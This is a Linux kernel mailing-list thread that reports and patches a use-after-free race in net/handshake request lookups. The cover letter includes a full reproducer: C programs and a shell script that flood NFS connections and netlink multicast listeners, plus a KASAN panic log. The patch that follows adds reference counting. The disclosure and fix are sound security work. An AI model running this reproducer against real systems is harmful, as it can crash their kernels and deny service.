* [PATCH net 0/1] net/handshake: Protect request hash lookups
@ 2026-09-20 17:04 Ren Wei
2026-09-20 17:04 ` [PATCH net 1/1] " Ren Wei
0 siblings, 1 reply; 4+ messages in thread
From: Ren Wei @ 2026-09-20 17:04 UTC (permalink / raw)
To: kernel-tls-handshake, netdev
Cc: cel, davem, edumazet, kuba, pabeni, horms, vega, sashiko-bot,
rakukuip, weir
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated a issue in net/handshake/request.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
handshake_req_hash_lookup() uses rhashtable_lookup_fast(), which drops
the RCU read lock internally and returns a naked pointer without taking
any lifetime reference.
When handshake_req_submit() encounters an error during notification
(such as when the generic-netlink multicast receive queues are filled and
handshake_genl_notify() fails), it removes the request from the pending
list and immediately frees it synchronously via handshake_req_destroy()
and kfree().
If an asynchronous transport teardown or cancellation races that unwind,
concurrent callers such as tls_handshake_close(), handshake_req_cancel(),
or handshake_nl_done_doit() look up the request and dereference freed
memory. In addition, the rhashtable lookup itself races with kfree(),
leading to a KASAN panic in memcmp.
Furthermore, handshake_req_next() dequeues a pending request without
taking a reference on the request. If FD_PREPARE() or hp_accept() fails
after a concurrent cancellation or socket close has released the submit
file pin, dropping the file pin in handshake_nl_accept_doit() can trigger
socket destruction immediately, freeing the request before
handshake_complete() or trace_handshake_cmd_accept_err() completes.
Root cause:
handshake_req_hash_lookup() returns a request pointer without acquiring
a reference count under RCU protection, and handshake_req_destroy() frees
the request memory synchronously via kfree() without waiting for an RCU
grace period. In addition, handshake_req_next() does not hold a request
lifetime reference across the accept preparation and error paths.
Reproducer:
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#define NLA_NEXT(nla, attrlen) \
((attrlen) -= NLA_ALIGN((nla)->nla_len), \
(struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#define NLA_OK(nla, len) \
((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && \
(nla)->nla_len <= (len))
struct rpc_probe {
uint32_t recmark;
uint32_t xid;
uint32_t msg_type;
uint32_t rpcvers;
uint32_t prog;
uint32_t vers;
uint32_t proc;
uint32_t cred_flavor;
uint32_t cred_len;
uint32_t verf_flavor;
uint32_t verf_len;
};
struct worker_arg {
const struct sockaddr_in *addr;
unsigned int delay_us;
unsigned int attempts;
unsigned int id;
};
static atomic_uint global_xid = 0x41410000;
static atomic_ulong total_attempts;
static atomic_int stop_now;
static int nl_open(void)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_GENERIC);
if (fd < 0)
return -1;
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(fd);
return -1;
}
return fd;
}
static int nl_send_getfamily(int fd, const char *family)
{
struct {
struct nlmsghdr nlh;
struct genlmsghdr genl;
struct nlattr nla;
char name[32];
} req = {
.nlh = {
.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN),
.nlmsg_type = GENL_ID_CTRL,
.nlmsg_flags = NLM_F_REQUEST,
.nlmsg_seq = 1,
},
.genl = {
.cmd = CTRL_CMD_GETFAMILY,
.version = 1,
},
.nla = {
.nla_type = CTRL_ATTR_FAMILY_NAME,
},
};
size_t len = strlen(family) + 1;
if (len > sizeof(req.name)) {
errno = ENAMETOOLONG;
return -1;
}
memcpy(req.name, family, len);
req.nla.nla_len = NLA_HDRLEN + len;
req.nlh.nlmsg_len += NLMSG_ALIGN(req.nla.nla_len);
return send(fd, &req, req.nlh.nlmsg_len, 0);
}
static int parse_mcast_group_id(const char *buf, ssize_t len, const char *group)
{
const struct nlmsghdr *nlh;
for (nlh = (const struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
nlh = NLMSG_NEXT(nlh, len)) {
const struct genlmsghdr *genl;
int attrlen;
const struct nlattr *attr;
if (nlh->nlmsg_type == NLMSG_ERROR)
return -1;
genl = NLMSG_DATA(nlh);
attr = (const struct nlattr *)((const char *)genl + GENL_HDRLEN);
attrlen = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
for (; NLA_OK(attr, attrlen); attr = NLA_NEXT(attr, attrlen)) {
if (attr->nla_type != CTRL_ATTR_MCAST_GROUPS)
continue;
int nested_len = attr->nla_len - NLA_HDRLEN;
const struct nlattr *entry =
(const struct nlattr *)((const char *)attr + NLA_HDRLEN);
for (; NLA_OK(entry, nested_len);
entry = NLA_NEXT(entry, nested_len)) {
int grp_len = entry->nla_len - NLA_HDRLEN;
const struct nlattr *grp =
(const struct nlattr *)((const char *)entry + NLA_HDRLEN);
const char *name = NULL;
uint32_t id = 0;
for (; NLA_OK(grp, grp_len); grp = NLA_NEXT(grp, grp_len)) {
if (grp->nla_type == CTRL_ATTR_MCAST_GRP_NAME)
name = NLA_DATA(grp);
else if (grp->nla_type == CTRL_ATTR_MCAST_GRP_ID)
memcpy(&id, NLA_DATA(grp), sizeof(id));
}
if (name && strcmp(name, group) == 0)
return (int)id;
}
}
}
errno = ENOENT;
return -1;
}
static int nl_resolve_mcast_group(const char *family, const char *group)
{
char buf[8192];
int fd, id;
ssize_t len;
fd = nl_open();
if (fd < 0)
return -1;
if (nl_send_getfamily(fd, family) < 0) {
close(fd);
return -1;
}
len = recv(fd, buf, sizeof(buf), 0);
close(fd);
if (len < 0)
return -1;
id = parse_mcast_group_id(buf, len, group);
return id;
}
static int *open_listeners(unsigned int count)
{
int group_id;
int *fds;
group_id = nl_resolve_mcast_group("handshake", "tlshd");
if (group_id < 0) {
perror("resolve handshake tlshd group");
return NULL;
}
fds = calloc(count, sizeof(*fds));
if (!fds)
return NULL;
for (unsigned int i = 0; i < count; i++) {
int fd;
int rcvbuf = 1024;
fd = nl_open();
if (fd < 0) {
perror("nl_open");
count = i;
break;
}
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
if (setsockopt(fd, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP,
&group_id, sizeof(group_id)) < 0) {
perror("NETLINK_ADD_MEMBERSHIP");
close(fd);
count = i;
break;
}
fds[i] = fd;
}
fprintf(stderr, "opened %u multicast listeners on group %d\n",
count, group_id);
return fds;
}
static void close_listeners(int *fds, unsigned int count)
{
if (!fds)
return;
for (unsigned int i = 0; i < count; i++)
if (fds[i] > 0)
close(fds[i]);
free(fds);
}
static void on_signal(int sig)
{
(void)sig;
atomic_store(&stop_now, 1);
}
static int send_probe(const struct sockaddr_in *addr, unsigned int delay_us)
{
struct rpc_probe probe = {
.recmark = htonl(0x80000028),
.xid = htonl(atomic_fetch_add(&global_xid, 1)),
.msg_type = htonl(0),
.rpcvers = htonl(2),
.prog = htonl(100003),
.vers = htonl(4),
.proc = htonl(0),
.cred_flavor = htonl(7),
.cred_len = htonl(0),
.verf_flavor = htonl(0),
.verf_len = htonl(0),
};
struct linger ling = { .l_onoff = 1, .l_linger = 0 };
const int one = 1;
int fd;
ssize_t n;
fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0)
return -1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
setsockopt(fd, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling));
if (connect(fd, (const struct sockaddr *)addr, sizeof(*addr)) < 0) {
close(fd);
return -1;
}
n = send(fd, &probe, sizeof(probe), MSG_NOSIGNAL);
if (n != sizeof(probe)) {
close(fd);
return -1;
}
if (delay_us) {
struct timespec ts = {
.tv_sec = delay_us / 1000000U,
.tv_nsec = (long)(delay_us % 1000000U) * 1000L,
};
nanosleep(&ts, NULL);
}
close(fd);
return 0;
}
static void *worker(void *data)
{
const struct worker_arg *arg = data;
unsigned int i = 0;
while (!atomic_load(&stop_now)) {
if (arg->attempts && i >= arg->attempts)
break;
send_probe(arg->addr, arg->delay_us);
atomic_fetch_add(&total_attempts, 1);
i++;
}
fprintf(stderr, "worker %u done after %u attempts\n", arg->id, i);
return NULL;
}
static unsigned int parse_u32(const char *s, const char *name)
{
char *end;
unsigned long v;
errno = 0;
v = strtoul(s, &end, 0);
if (errno || !s[0] || *end || v > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", name, s);
exit(1);
}
return (unsigned int)v;
}
int main(int argc, char **argv)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(2049),
};
int *listener_fds = NULL;
struct worker_arg *args;
pthread_t *threads;
unsigned int workers = 32;
unsigned int delay_us = 2000;
unsigned int attempts = 0;
unsigned int listeners = 0;
unsigned int port = 2049;
int opt;
int rc = 0;
while ((opt = getopt(argc, argv, "h:p:t:d:n:l:")) != -1) {
switch (opt) {
case 'h':
if (inet_pton(AF_INET, optarg, &addr.sin_addr) != 1) {
fprintf(stderr, "invalid host: %s\n", optarg);
return 1;
}
break;
case 'p':
port = parse_u32(optarg, "port");
if (port > 65535) {
fprintf(stderr, "invalid port: %u\n", port);
return 1;
}
addr.sin_port = htons(port);
break;
case 't':
workers = parse_u32(optarg, "threads");
break;
case 'd':
delay_us = parse_u32(optarg, "delay_us");
break;
case 'n':
attempts = parse_u32(optarg, "attempts");
break;
case 'l':
listeners = parse_u32(optarg, "listeners");
break;
default:
fprintf(stderr,
"usage: %s [-h host] [-p port] [-t threads] [-d delay_us] [-n attempts_per_thread] [-l listeners]\n",
argv[0]);
return 1;
}
}
if (!addr.sin_addr.s_addr)
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
if (listeners) {
listener_fds = open_listeners(listeners);
if (!listener_fds) {
fprintf(stderr, "failed to open listeners\n");
return 1;
}
}
threads = calloc(workers, sizeof(*threads));
args = calloc(workers, sizeof(*args));
if (!threads || !args) {
perror("calloc");
return 1;
}
fprintf(stderr,
"target=%s:%u threads=%u delay_us=%u attempts_per_thread=%u listeners=%u\n",
inet_ntoa(addr.sin_addr), port, workers, delay_us, attempts, listeners);
for (unsigned int i = 0; i < workers; i++) {
args[i].addr = &addr;
args[i].delay_us = delay_us;
args[i].attempts = attempts;
args[i].id = i;
rc = pthread_create(&threads[i], NULL, worker, &args[i]);
if (rc) {
errno = rc;
perror("pthread_create");
atomic_store(&stop_now, 1);
workers = i;
break;
}
}
for (unsigned int i = 0; i < workers; i++)
pthread_join(threads[i], NULL);
fprintf(stderr, "total_attempts=%lu\n",
(unsigned long)atomic_load(&total_attempts));
close_listeners(listener_fds, listeners);
free(args);
free(threads);
return 0;
}
------END poc.c--------
------BEGIN listener.c------
#include <errno.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <netlink/netlink.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static volatile sig_atomic_t stop_now;
static void on_signal(int sig)
{
(void)sig;
stop_now = 1;
}
static unsigned int parse_u32(const char *s, const char *name)
{
char *end;
unsigned long v;
errno = 0;
v = strtoul(s, &end, 0);
if (errno || !s[0] || *end || v > 1000000UL) {
fprintf(stderr, "invalid %s: %s\n", name, s);
exit(1);
}
return (unsigned int)v;
}
int main(int argc, char **argv)
{
struct nl_sock **socks;
unsigned int count = 256;
int grp;
if (argc > 1)
count = parse_u32(argv[1], "count");
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
socks = calloc(count, sizeof(*socks));
if (!socks) {
perror("calloc");
return 1;
}
socks[0] = nl_socket_alloc();
if (!socks[0]) {
fprintf(stderr, "nl_socket_alloc failed\n");
return 1;
}
if (genl_connect(socks[0]) < 0) {
fprintf(stderr, "genl_connect failed\n");
return 1;
}
grp = genl_ctrl_resolve_grp(socks[0], "handshake", "tlshd");
if (grp < 0) {
fprintf(stderr, "genl_ctrl_resolve_grp failed: %s\n", nl_geterror(grp));
return 1;
}
nl_socket_free(socks[0]);
socks[0] = NULL;
for (unsigned int i = 0; i < count; i++) {
socks[i] = nl_socket_alloc();
if (!socks[i]) {
fprintf(stderr, "nl_socket_alloc failed at %u\n", i);
count = i;
break;
}
nl_socket_set_buffer_size(socks[i], 1024, 0);
if (genl_connect(socks[i]) < 0) {
fprintf(stderr, "genl_connect failed at %u\n", i);
nl_socket_free(socks[i]);
socks[i] = NULL;
count = i;
break;
}
if (nl_socket_add_membership(socks[i], grp) < 0) {
fprintf(stderr, "membership failed at %u\n", i);
nl_socket_free(socks[i]);
socks[i] = NULL;
count = i;
break;
}
}
fprintf(stderr, "opened %u listeners on group %d\n", count, grp);
while (!stop_now)
sleep(1);
for (unsigned int i = 0; i < count; i++)
if (socks[i])
nl_socket_free(socks[i]);
free(socks);
return 0;
}
------END listener.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
THREADS=${THREADS:-32}
ATTEMPTS=${ATTEMPTS:-0}
LISTENERS=${LISTENERS:-1024}
DELAYS=${DELAYS:-"1800 2000 2200 2500"}
mount -t nfsd nfsd /proc/fs/nfsd 2>/dev/null || true
if ! pgrep -x rpcbind >/dev/null 2>&1; then
rpcbind -w
sleep 1
fi
echo tcp 2049 > /proc/fs/nfsd/portlist 2>/dev/null || true
echo 8 > /proc/fs/nfsd/threads
make -C "$DIR" poc >/dev/null
gcc -O2 -pthread -Wall -Wextra \
$(pkg-config --cflags libnl-3.0 libnl-genl-3.0) \
-o "$DIR/listener" "$DIR/listener.c" \
$(pkg-config --libs libnl-3.0 libnl-genl-3.0)
"$DIR/listener" "$LISTENERS" &
listener_pid=$!
trap 'kill $listener_pid 2>/dev/null || true; wait $listener_pid 2>/dev/null || true' EXIT INT TERM
sleep 2
pids=""
for delay in $DELAYS; do
"$DIR/poc" -t "$THREADS" -d "$delay" -n "$ATTEMPTS" &
pids="$pids $!"
done
for pid in $pids; do
wait "$pid"
done
------END poc.sh--------
------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -pthread -Wall -Wextra
NL_CFLAGS := $(shell pkg-config --cflags libnl-3.0 libnl-genl-3.0 2>/dev/null)
NL_LIBS := $(shell pkg-config --libs libnl-3.0 libnl-genl-3.0 2>/dev/null)
all: poc
poc: poc.c
$(CC) $(CFLAGS) -o $@ $<
listener: listener.c
$(CC) $(CFLAGS) $(NL_CFLAGS) -o $@ $< $(NL_LIBS)
clean:
rm -f poc listener
------END Makefile--------
----BEGIN crash log----
[ 412.463830][ T9855] page_owner tracks the page as allocated
[ 412.464323][ T9855] page last allocated via order 1, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9854, tgid 9854 (nfsd), ts 373315545222, free_ts 371596521038
[ 412.465765][ T9855] page last free pid 15 tgid 15 stack trace:
[ 412.466314][ T9855] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 412.466795][ T9855] CPU: 1 UID: 0 PID: 9855 Comm: nfsd Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 412.467375][ T9855] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 412.468078][ T9855] Call Trace:
[ 412.468307][ T9855] <TASK>
[ 412.468506][ T9855] vpanic+0x6c3/0x790
[ 412.468772][ T9855] ? __pfx_vpanic+0x10/0x10
[ 412.469077][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.469470][ T9855] ? memcmp+0x176/0x1d0
[ 412.469745][ T9855] panic+0xca/0xd0
[ 412.469994][ T9855] ? __pfx_panic+0x10/0x10
[ 412.470293][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.470665][ T9855] ? preempt_schedule_common+0x42/0xc0
[ 412.471028][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.471409][ T9855] ? preempt_schedule_thunk+0x16/0x30
[ 412.471776][ T9855] check_panic_on_warn+0x61/0x80
[ 412.472107][ T9855] end_report+0x13e/0x180
[ 412.472402][ T9855] kasan_report+0xf4/0x120
[ 412.472702][ T9855] ? memcmp+0x176/0x1d0
[ 412.472986][ T9855] memcmp+0x176/0x1d0
[ 412.473253][ T9855] handshake_req_hash_lookup+0x264/0x700
[ 412.473640][ T9855] ? __pfx_handshake_req_hash_lookup+0x10/0x10
[ 412.474042][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.474422][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.474799][ T9855] ? find_held_lock+0x2b/0x80
[ 412.475116][ T9855] tls_handshake_close+0x32/0x70
[ 412.475455][ T9855] svc_tcp_sock_detach+0x48/0x4f0
[ 412.475790][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.476162][ T9855] svc_delete_xprt+0x12b/0xa00
[ 412.476483][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.476856][ T9855] ? svc_pool_wake_idle_thread+0x20a/0x830
[ 412.477249][ T9855] svc_recv+0x16df/0x2630
[ 412.477552][ T9855] ? __pfx_svc_recv+0x10/0x10
[ 412.477869][ T9855] ? nfsd+0x389/0xa80
[ 412.478144][ T9855] nfsd+0x2db/0xa80
[ 412.478406][ T9855] ? __entry_text_end+0x1020b5/0x1020b9
[ 412.478770][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.479148][ T9855] ? _raw_spin_unlock_irqrestore+0x57/0x80
[ 412.479544][ T9855] ? __pfx_nfsd+0x10/0x10
[ 412.479830][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.480206][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.480590][ T9855] ? __kthread_parkme+0xb4/0x200
[ 412.480928][ T9855] ? __pfx_nfsd+0x10/0x10
[ 412.481220][ T9855] kthread+0x312/0x410
[ 412.481518][ T9855] ? _raw_spin_unlock_irq+0x28/0x50
[ 412.481863][ T9855] ? __pfx_kthread+0x10/0x10
[ 412.482171][ T9855] ret_from_fork+0x600/0xa20
[ 412.482493][ T9855] ? __pfx_ret_from_fork+0x10/0x10
[ 412.482835][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.483212][ T9855] ? __switch_to+0x57f/0xe20
[ 412.483527][ T9855] ? __pfx_kthread+0x10/0x10
[ 412.483841][ T9855] ret_from_fork_asm+0x1a/0x30
[ 412.484181][ T9855] </TASK>
[ 412.485060][ T9855] Kernel Offset: disabled
[ 412.485370][ T9855] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Luxiao Xu
Luxiao Xu (1):
net/handshake: Protect request hash lookups
net/handshake/handshake-test.c | 3 +++
net/handshake/handshake.h | 5 ++++
net/handshake/netlink.c | 3 +++
net/handshake/request.c | 43 +++++++++++++++++++++++++++++-----
net/handshake/tlshd.c | 8 +++----
5 files changed, 52 insertions(+), 10 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH net 1/1] net/handshake: Protect request hash lookups
2026-09-20 17:04 [PATCH net 0/1] net/handshake: Protect request hash lookups Ren Wei
@ 2026-09-20 17:04 ` Ren Wei
2026-09-20 18:41 ` Chuck Lever
2026-09-24 1:57 ` Jakub Kicinski
0 siblings, 2 replies; 4+ messages in thread
From: Ren Wei @ 2026-09-20 17:04 UTC (permalink / raw)
To: kernel-tls-handshake, netdev
Cc: cel, davem, edumazet, kuba, pabeni, horms, vega, sashiko-bot,
rakukuip, weir
From: Luxiao Xu <rakukuip@gmail.com>
handshake_req_hash_lookup() uses rhashtable_lookup_fast(), which drops
the RCU read lock internally and returns a naked pointer without
holding a reference count or an active RCU read lock.
When handshake_req_submit() encounters an error during notification
(such as handshake_genl_notify() failure), it removes the request from
the pending list and frees it synchronously via handshake_req_destroy()
and kfree().
If an asynchronous transport teardown or cancel races that unwind,
concurrent callers such as handshake_req_cancel(), tls_handshake_close(),
or handshake_nl_done_doit() can look up the request and dereference
freed memory. Additionally, rhashtable traversal itself can race with
kfree() and panic in memcmp.
Furthermore, handshake_req_next() dequeues a pending request without
taking a reference on the request itself. If FD_PREPARE() or hp_accept()
fails after a concurrent cancellation or socket close has released the
submit file pin, dropping the file pin in handshake_nl_accept_doit()
can trigger socket destruction immediately, freeing the request before
handshake_complete() or trace_handshake_cmd_accept_err() completes.
Fix these races by introducing a kref reference count and rcu_head to
struct handshake_req. handshake_req_hash_lookup() now safely acquires a
reference using kref_get_unless_zero() under rcu_read_lock(). Likewise,
handshake_req_next() acquires a reference under hn_lock, and callers
release their references using handshake_req_put(). Releasing the final
reference in handshake_req_put() frees the request via kfree_rcu().
Fixes: 3b3009ea8abb ("net/handshake: Create a NETLINK service for handling handshake requests")
Reported-by: Vega <vega@nebusec.ai>
Closes: https://sashiko.dev/#/patchset/20260521-handshake-file-pin-v2-0-b9dadc472040@oracle.com
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://sashiko.dev/#/patchset/20260525-handshake-file-pin-v3-0-66c616906ead@oracle.com
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
net/handshake/handshake-test.c | 3 +++
net/handshake/handshake.h | 5 ++++
net/handshake/netlink.c | 3 +++
net/handshake/request.c | 43 +++++++++++++++++++++++++++++-----
net/handshake/tlshd.c | 8 +++----
5 files changed, 52 insertions(+), 10 deletions(-)
diff --git a/net/handshake/handshake-test.c b/net/handshake/handshake-test.c
index 3dd507470d5f..9fe2e934b9b9 100644
--- a/net/handshake/handshake-test.c
+++ b/net/handshake/handshake-test.c
@@ -236,6 +236,7 @@ static void handshake_req_submit_test4(struct kunit *test)
/* Assert */
KUNIT_EXPECT_NOT_NULL(test, result);
KUNIT_EXPECT_PTR_EQ(test, req, result);
+ handshake_req_put(result);
handshake_req_cancel(sock->sk);
KUNIT_EXPECT_EQ(test, file_count(filp), fcount_before);
@@ -398,6 +399,7 @@ static void handshake_req_cancel_test2(struct kunit *test)
* off by handshake_req_next(); see handshake_nl_accept_doit().
*/
fput(filp);
+ handshake_req_put(next);
/* Act */
result = handshake_req_cancel(sock->sk);
@@ -452,6 +454,7 @@ static void handshake_req_cancel_test3(struct kunit *test)
/* Pretend to complete this request */
handshake_complete(next, -ETIMEDOUT, NULL);
KUNIT_EXPECT_EQ(test, file_count(filp), fcount_before);
+ handshake_req_put(next);
/* Act */
result = handshake_req_cancel(sock->sk);
diff --git a/net/handshake/handshake.h b/net/handshake/handshake.h
index da61cadd1ad3..f6312061e6cf 100644
--- a/net/handshake/handshake.h
+++ b/net/handshake/handshake.h
@@ -10,6 +10,8 @@
#ifndef _INTERNAL_HANDSHAKE_H
#define _INTERNAL_HANDSHAKE_H
+#include <linux/kref.h>
+
/* Per-net namespace context */
struct handshake_net {
spinlock_t hn_lock; /* protects next 3 fields */
@@ -36,6 +38,8 @@ struct handshake_req {
struct file *hr_file;
struct sock *hr_sk;
void (*hr_odestruct)(struct sock *sk);
+ struct kref hr_kref;
+ struct rcu_head hr_rcu;
/* Always the last field */
char hr_priv[];
@@ -85,6 +89,7 @@ int handshake_req_hash_init(void);
void handshake_req_hash_destroy(void);
void *handshake_req_private(struct handshake_req *req);
struct handshake_req *handshake_req_hash_lookup(struct sock *sk);
+void handshake_req_put(struct handshake_req *req);
struct handshake_req *handshake_req_next(struct handshake_net *hn, int class);
int handshake_req_submit(struct socket *sock, struct handshake_req *req,
gfp_t flags);
diff --git a/net/handshake/netlink.c b/net/handshake/netlink.c
index 3fd4fef9bab1..da5d41e139a7 100644
--- a/net/handshake/netlink.c
+++ b/net/handshake/netlink.c
@@ -119,6 +119,7 @@ int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info)
trace_handshake_cmd_accept(net, req, req->hr_sk, fd_prepare_fd(fdf));
fd_publish(fdf);
+ handshake_req_put(req);
return 0;
}
@@ -127,6 +128,7 @@ int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info)
handshake_complete(req, -EIO, NULL);
out_status:
trace_handshake_cmd_accept_err(net, req, NULL, err);
+ handshake_req_put(req);
return err;
}
@@ -160,6 +162,7 @@ int handshake_nl_done_doit(struct sk_buff *skb, struct genl_info *info)
status = -(int)nla_get_u32(info->attrs[HANDSHAKE_A_DONE_STATUS]);
handshake_complete(req, status, info);
+ handshake_req_put(req);
sockfd_put(sock);
return 0;
}
diff --git a/net/handshake/request.c b/net/handshake/request.c
index cd30d54d0501..fa61660e386c 100644
--- a/net/handshake/request.c
+++ b/net/handshake/request.c
@@ -59,8 +59,16 @@ void handshake_req_hash_destroy(void)
struct handshake_req *handshake_req_hash_lookup(struct sock *sk)
{
- return rhashtable_lookup_fast(&handshake_rhashtbl, &sk,
- handshake_rhash_params);
+ struct handshake_req *req;
+
+ rcu_read_lock();
+ req = rhashtable_lookup_fast(&handshake_rhashtbl, &sk,
+ handshake_rhash_params);
+ if (req && !kref_get_unless_zero(&req->hr_kref))
+ req = NULL;
+ rcu_read_unlock();
+
+ return req;
}
EXPORT_SYMBOL_IF_KUNIT(handshake_req_hash_lookup);
@@ -74,13 +82,28 @@ static bool handshake_req_hash_add(struct handshake_req *req)
return ret == 0;
}
-static void handshake_req_destroy(struct handshake_req *req)
+static void handshake_req_free(struct kref *kref)
{
+ struct handshake_req *req =
+ container_of(kref, struct handshake_req, hr_kref);
+
if (req->hr_proto->hp_destroy)
req->hr_proto->hp_destroy(req);
+ kfree_rcu(req, hr_rcu);
+}
+
+void handshake_req_put(struct handshake_req *req)
+{
+ if (req)
+ kref_put(&req->hr_kref, handshake_req_free);
+}
+EXPORT_SYMBOL_IF_KUNIT(handshake_req_put);
+
+static void handshake_req_destroy(struct handshake_req *req)
+{
rhashtable_remove_fast(&handshake_rhashtbl, &req->hr_rhash,
handshake_rhash_params);
- kfree(req);
+ handshake_req_put(req);
}
static void handshake_sk_destruct(struct sock *sk)
@@ -95,6 +118,7 @@ static void handshake_sk_destruct(struct sock *sk)
trace_handshake_destruct(sock_net(sk), req, sk);
sk_destruct = req->hr_odestruct;
handshake_req_destroy(req);
+ handshake_req_put(req);
if (sk_destruct)
sk_destruct(sk);
}
@@ -124,6 +148,7 @@ struct handshake_req *handshake_req_alloc(const struct handshake_proto *proto,
if (!req)
return NULL;
+ kref_init(&req->hr_kref);
INIT_LIST_HEAD(&req->hr_list);
req->hr_proto = proto;
return req;
@@ -187,8 +212,10 @@ static bool remove_pending(struct handshake_net *hn, struct handshake_req *req)
* @class: handler class to match
*
* On a non-NULL return, the caller owns an extra reference
- * on @req->hr_file. FD_PREPARE() consumes it on success; on
- * the FD_PREPARE() failure path the caller must fput() it.
+ * on @req->hr_file and a reference on @req. FD_PREPARE() consumes
+ * the file reference on success; on the FD_PREPARE() failure path
+ * the caller must fput() it. The caller must release the request
+ * reference using handshake_req_put().
*
* Return: pointer to a removed handshake_req, or NULL.
*/
@@ -209,6 +236,7 @@ struct handshake_req *handshake_req_next(struct handshake_net *hn, int class)
* ownership.
*/
get_file(pos->hr_file);
+ kref_get(&pos->hr_kref);
req = pos;
break;
}
@@ -367,6 +395,7 @@ bool handshake_req_cancel(struct sock *sk)
/* Request hadn't been accepted - mark cancelled */
if (test_and_set_bit(HANDSHAKE_F_REQ_COMPLETED, &req->hr_flags)) {
trace_handshake_cancel_busy(net, req, sk);
+ handshake_req_put(req);
return false;
}
goto out_true;
@@ -374,6 +403,7 @@ bool handshake_req_cancel(struct sock *sk)
if (test_and_set_bit(HANDSHAKE_F_REQ_COMPLETED, &req->hr_flags)) {
/* Request already completed */
trace_handshake_cancel_busy(net, req, sk);
+ handshake_req_put(req);
return false;
}
@@ -381,6 +411,7 @@ bool handshake_req_cancel(struct sock *sk)
trace_handshake_cancel(net, req, sk);
fput(req->hr_file);
+ handshake_req_put(req);
return true;
}
EXPORT_SYMBOL(handshake_req_cancel);
diff --git a/net/handshake/tlshd.c b/net/handshake/tlshd.c
index 7567150c2a4f..164fce83658a 100644
--- a/net/handshake/tlshd.c
+++ b/net/handshake/tlshd.c
@@ -449,9 +449,9 @@ void tls_handshake_close(struct socket *sock)
req = handshake_req_hash_lookup(sock->sk);
if (!req)
return;
- if (!test_and_clear_bit(HANDSHAKE_F_REQ_SESSION, &req->hr_flags))
- return;
- tls_alert_send(sock, TLS_ALERT_LEVEL_WARNING,
- TLS_ALERT_DESC_CLOSE_NOTIFY);
+ if (test_and_clear_bit(HANDSHAKE_F_REQ_SESSION, &req->hr_flags))
+ tls_alert_send(sock, TLS_ALERT_LEVEL_WARNING,
+ TLS_ALERT_DESC_CLOSE_NOTIFY);
+ handshake_req_put(req);
}
